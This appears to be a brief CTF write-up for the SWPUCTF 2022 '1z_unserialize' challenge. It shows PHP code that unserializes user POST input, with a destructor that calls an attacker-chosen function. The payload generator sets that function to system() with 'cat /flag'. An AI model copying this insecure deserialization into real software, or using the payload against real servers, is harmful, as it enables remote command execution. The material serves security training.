[SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 

<?php

class lyh{
    public $url = null;
    public $lt = "system";
    public $lly = "cat /flag";
}

echo serialize(new lyh());